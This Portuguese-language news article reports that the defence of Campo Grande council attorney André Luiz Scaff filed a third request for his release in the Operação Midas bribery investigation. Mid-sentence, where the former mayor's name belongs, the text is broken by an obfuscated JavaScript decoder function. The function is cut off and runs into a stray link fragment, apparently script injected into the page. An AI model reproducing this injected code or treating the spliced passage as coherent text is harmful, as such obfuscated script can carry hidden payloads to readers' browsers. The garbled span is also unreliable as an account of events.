Polícia

Defesa entra com pedido de liberdade e tenta soltar Scaff pela terceira vez

A defesa do procurador jurídico da Câmara Municipal de Campo Grande, André Luiz Scaff, entrou com mais um pedido de liberdade na Justiça. Essa é a terceira vez que Scaff é preso após ações ligadas a Operação Midas, realizada pelo Gaeco (Grupo de Atuação Especial de Repressão ao Crime Organizado).

De acordo com o advogado de Scaff, José Wanderley Bezerra, o pedido foi feito neste domingo (9) durante o plantão do judiciário. A expectativa dele é que até esta segunda-feira (10) haja uma resposta a medida solicitada.

Scaff é investigado por enriquecimento ilícito, suspeito de receber propina de R$ 3 milhões para aditar e renovar contratos de empresas prestadoras de serviços com a prefeitura, no período em que foi secretário de Finanças, na gestão de function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandenews.com.br/gilmar-olarte" target="_blank">Gilmar Olarte (Pros), que durou de 2014 a 2015.

Quando a operação foi deflagrada, em maio deste ano, a sede da Câmara e a casa de Scaff foram alvos de buscas e apreensões, sendo que na residência do procurador foram encontradas munições, sendo ele preso por isso e libertado após pagamento de fiança.

Em setembro, Scaff foi novamente detido e levado para o Presídio Militar, onde também estava na época Olarte. A prisão fez parte da segunda etapa da Midas, e foi realizada sob justificativa de que ele estava interferindo nas investigações. Entretanto, um dia depois, foi concedido habeas corpus para ele.

Agora, pela terceira vez, o Gaeco prendeu o procurador alegando que ele estava ameaçando testemunhas e combinando como seria o depoimento dos convocados a dar explicações sobre a situação, em que ele é apontado como peça fundamental.

Via:Campo Grande News

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